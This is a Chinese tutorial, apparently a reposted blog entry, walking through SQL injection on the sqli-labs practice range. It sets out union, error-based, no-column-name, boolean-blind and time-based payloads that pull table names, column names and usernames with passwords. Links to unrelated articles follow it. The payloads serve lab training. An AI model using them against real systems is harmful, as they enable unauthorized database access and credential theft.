sql注入靶场sqli-labs常见sql注入漏洞详解

news2024/11/16 6:26:22

目录

sqli-labs-less1

   1.less1普通解法

        1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)

        2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接

        3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段

        4.判断查询语句哪些字段是显示出来的

        5.利用上一步的回显和database(),version()函数回显数据库名和版本号

        6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名

        7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns表里面有。

 

        8.数据库知道了,表知道了,字段知道了,开始查询内容

2.less1解法2报错注入(union用不了时)

1.爆表名

3.less1解法3无列名注入

        1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的

sys.schema_auto_increment_columns表里面有table_name

        2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来

sqli-labs-less8

  1.less8布尔盲注

1.爆数据库名

2.less8用python写布尔盲注脚本

1.爆数据库名

二分法爆数据库名

2.爆表名

3.爆字段名

sqli-labs-less9

1.时间注入

1.用python写时间注入脚本

sqli-labs-less1

   1.post提交方式的注入

1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

3.-1' union select 1,group_concat(password,0x3a,username) from users#

sqli-labs-less17

   1.有过滤的注入

        1、爆数据库名

2、爆表名

3、爆字段名

4、爆字段内容(用户名)


sqli-labs-less1

   1.less1普通解法

        1.在url里面填写不同的值返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)

select * from users where id='  1'--+  ' limit 0,1;(为什么要id=1'--+)  引号和前面的引号闭合,后面的引号被注释了

        2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接

--+是url里面的注释,因为#有其他用处,--空格里面的空格会被忽略

        3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段

        4.判断查询语句哪些字段是显示出来的

?id=-2'union select 1,2,3--+ (-1可以让union左边的查询为空,从而只回显1,2,3所在字段,就可以知道会显示哪些字段了)

UNION:它用于将两个或多个查询的结果合并为一个结果集,并且会去除重复的行

        5.利用上一步的回显和database(),version()函数回显数据库名和版本号

        6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名

        7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns里面有。

 

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'(限定数据库) and table_name='users' (限定表名)--+

        8.数据库知道了,表知道了,字段知道了,开始查询内容

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

2.less1解法2报错注入(union用不了时)

报错注入必须加concat函数将数据库名称连接到原始XML文档节点

利用updataxml()或者extractvalue()函数来报错

1.爆表名

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e),1) --+

updatexml(1,2,3)里面要三个字段,1,3随便取,2是xpath路径,不对就报错,

正是利用这个报错注入

concat把0x7e,substring三个字段连接起来输出(把查到的数据用自定义符号连接起来)

group_concat把表里面每一行的结果拼成一个字符串输出(用在查询语句里面来查询的

substring是截取字符串的一部分,末尾1,20是截取范围

?id=-1' and extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e)) --+

extractvalue(1,2)里面两个字段1随便,2错误报错

concat把0x7e,substring三个字段连接起来输出

group_concat把表里面每一行的结果拼成一个字符串输出

substring是截取字符串的一部分,末尾1,20是截取范围

3.less1解法3无列名注入

当information_schema库被过滤了,就不能用了,里面的表名,列名,字段名就查不到了

        1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的

sys.schema_auto_increment_columns表里面有table_name

能查到users表名,但也仅限表名

        2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来

在知道的数据库名下查询这个select * from (select * from users a join users b)c;

因为连接的是两个相同的表,就会报错:字段重复,就知道重复的字段是什么了

join是连接两张表最后的c是因为子查询必须有个别名

using()排除已经知道的字段,就会爆出下一个字段select * from (select * from users a join users b using(id))c;

sqli-labs-less8

  1.less8布尔盲注

当输入id=1之类的东西,他的回显只有两个值,一个对,一个错,就要用布尔盲注

联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注

1.爆数据库名

对的回显

错的回显

所以115就是数据库名的第一个字母的asc码,substr后面的截取字段就可以一个个把数据库名爆出来

 

2.接着爆表名

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+

 

3.接着爆字段名

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

 

2.less8用python写布尔盲注脚本

1.爆数据库名

二分法爆数据库名

2.爆表名

3.爆字段名

sqli-labs-less9

1.时间注入

网页表现为,不管对错,都是一样的画面

比如sqli第九题,怎么样都是you are in …….

利用if判断语句和布尔盲注,如果asc码满足条件就延迟4,如果不满足就直接返回

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

条件满足网页在转圈圈

条件不满足网页直接返回

1.用python写时间注入脚本

sqli-labs-less11

   1.post提交方式的注入

和第一关一样,只不过是提交方式变化了,在表单标签里面注入

并且要填两个值

1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

 

 

2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

 

 

3.-1' union select 1,group_concat(password,0x3a,username) from users#

 

 

sqli-labs-less17

   1.有过滤的注入

17关(username被转义了,只能name是正确的,然后password注入)

        1、爆数据库名

1' and extractvalue(1,concat(0x7e,database(),0x7e))#

 

2、爆表名

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

 

3、爆字段名

1' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c))#

 

4、爆字段内容(用户名)

如果直接查询的话会报错,因为被过滤了

1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#

 

为了绕过他不让用users表的限制,把users表用(select username from users)代替

 

1' and (extractvalue(1,concat(0x5c,substring((select group_concat(username) from (select username from users)a),1,32),0x5c)))#

5、爆密码

1' and (extractvalue(1,concat(0x5c,substring((select group_concat(password) from (select password from users)a),1,32),0x5c)))#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1982026.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL增删改查(基础)

1、. 新增(Create) 语法: INSERT [INTO] table_name[(column [, column] ...)] VALUES (value_list) [, (value_list)] ... 例子: -- 创建一张学生表 DROP TABLE IF EXISTS student; CREATE TABLE student (id INT,sn INT com…

电子琴——Arduino

音调有7个音调,分别是哆来咪发索莱西;如果用蜂鸣器来发出这七个音调就要分别设置这七个音调对应频率。 电子琴实现需要物品有,arduino开发板一个,按键7个,蜂鸣器1个,杜邦线若干 重点讲一下按键原理 按键开…

linux运维一天一个shell命令之vim详解

前言: 在日常运维工作中,掌握好 Vim 的使用可以极大地提高工作的效率。Vim 作为一个强大的文本编辑器,广泛应用于各种运维场景 一、定义 Vim 是一个非常强大的文本编辑器,在 Unix/Linux 环境中非常流行。它具有许多高级功能和快…

【神软大数据治理平台-高级动态SQL(接口开发)】

1、背景 业务部门需大数据平台按照所提需求提供企业数据接口,基于神软大数据治理平台-高级动态SQL功能,满足业务需求,如下: (1)业务系统需求: 输入: enterpriseName:…

【抖音卡片】在抖音私信的时候给对方发送抖音卡片链接

效果展示 效果说明 在默认情况下,给对方发送连接的时候是以文本的形式展示的可点击的超链接,但是经过处理之后可以将你发送的连接一样卡片的形式展示。 实现步骤 第一步:打开微信云托管 微信云托管 (qq.com)https://cloud.weixin.qq.com/c…

原装二手MSO5204B泰克DPO5204B混合信号示波器

泰克 MSO5204B混合信号示波器,2 GHz,4 16 通道,10 GS/s Tektronix MSO5204B 具有出色的信号保真度和高级分析和数学功能。 当今数据速率更快、时间裕度更严格,因此设计时需要具有出色信号采集性能和分析功能的示波器。Tektronix…

电源芯片负载调整率测试方法、原理以及自动化测试的优势-纳米软件

在芯片设计研发领域,负载调整率作为稳压电源芯片的关键性能指标,直接关系到芯片的稳定性和可靠性,因此其测试和优化显得尤为重要。以下是对负载调整率测试原理、方法以及使用ATECLOUD-IC芯片测试系统优势的进一步阐述: 负载调整率…

阿里云oss存储之定期删除

存储到OSS中文件基于存储费用的考虑需要将存储指定时间的文件进行删除,如果想实现定期删除,有以下方法可以处理,简单记录一下: 1、oss控制台 配置生命周期策略删除,如附件1截图 2、通过sdk,调用DeleteObject请求删除文件 如client.delete(ossdemo/some-not-exists-object); …

matlab的strel()函数的使用方法(OK)

这个函数 是形态学的结构元素 使用方法如下 SE strel(nhood) SE strel("diamond",r) SE strel("disk",r) SE strel("disk",r,n) SE strel("octagon",r) SE strel("line",len,deg) SE strel("rectangle",…

电脑运行库问题怎么修复?电脑运行库修复工具分享与实操

在我们日常使用电脑的过程中,经常会遇到一些因为运行库缺失或损坏而导致软件无法正常运行的问题。这些问题不仅影响工作效率,还可能导致数据丢失或程序崩溃。那么,电脑运行库怎么修复呢?本文将为您详细介绍如何使用运行库修复工具…

ETL数据集成丨将GreenPlum数据同步至Doris数仓

在当今数据驱动的时代,高效、可靠的数据集成成为企业数字化转型的关键一环。ETLCloud作为一款创新的数据集成平台,通过其强大的零代码配置能力,为企业提供了从数据抽取、转换到加载(ETL)的全链条解决方案,尤…

简单数学题——492、29、507 快速幂——50、372

简单数学题 492. 构造矩形(简单) 作为一位web开发者, 懂得怎样去规划一个页面的尺寸是很重要的。 所以,现给定一个具体的矩形页面面积,你的任务是设计一个长度为 L 和宽度为 W 且满足以下要求的矩形的页面。要求&#…

排序算法2:直接选择排序与快速排序

目录 1.直接选择排序 1.1直接选择排序的优化 2.快速排序 2.1基准值的置位(Hoare版) 2.2挖坑法 2.3lomuto前后指针 前言 前面我们进入了排序算的讲解。今天我们将继续学习几种重要的排序思想,好,咱们三连上车开始今天的内容。…

Modern C++ 智能指针

Why? 原始指针存在缺陷,不符合现代编程语言的需要。 原始指针的缺陷: 指针指向一片内存,使用者无法得知到底是指向了什么,是数组还是对象?使用完指针是否需要销毁?什么时候销毁?如…

B1.2 AArch64 执行状态下的寄存器

B1.2 AArch64 执行状态下的寄存器 在AArch64的执行状态下,在 EL0 上可见的寄存器如下: (1)、R0-R30 31 个通用寄存器,R0 到 R30。每个都可以做为: 一个 64 位的通用寄存器,命名为 X0 到 X30。 一个 32 位的通用寄存器,命名为 W0 到 W30。 (2)、LR X30 通用寄存器用…

文件的读写

一、IO 标准io (输入输出)站在计算机角度来确定输入输出,在linux里面io都是对文件操作。 so 动态库函数(共享库),(公共的,用的很多),在user里面存储。 man手…

Studying-代码随想录训练营day58| 拓扑排序精讲、dijkstra(朴素版)精讲

第58天,拓扑排序和最短路径算法讲解!!💪(ง •_•)ง💪,编程语言:C 目录 拓扑排序精讲 拓扑排序的背景 题目:117. 软件构建 (kamacoder.com) 拓扑排序的思路 模拟过程 有环…

基于K8S配置Jenkins主从节点实例

基于K8S配置Jenkins主从节点实例 1.配置Jenkins主节点1.确认 Jenkins Pod 名称2.进入 Jenkins Pod:3.生成SSH密钥对4.将公钥复制到目标节点: 2.配置Jenkins的node1节点1.安装java2.配置 Jenkins node1节点的 Java 路径1.添加Java环境变量2.生效Java环境变…

如何根据 EcoVadis 审核的评分标准改进企业社会责任表现?

要根据 EcoVadis 审核的评分标准改进企业社会责任表现,可以采取以下步骤: ​深入研究评分标准 详细了解每个主题(环境、劳工与人权、商业道德、可持续采购)及其子主题的具体要求和关键指标。 进行自我评估 对照评分标准&#xf…

未授权访问漏洞(非重点 上)

1.MongoDB 1.在fofo里搜索 port"27017 2.Memcached 1.用fofa语法 port"11211" 搜索资产 2.使用 telnet 连接 3.Zookeeper 1.在 fofa 中使用 port"2181" 获取资源 2.在 kali 中使用 echo envinc ip 2181 测试是否存在漏洞 4.Elasticsearch 1.在 …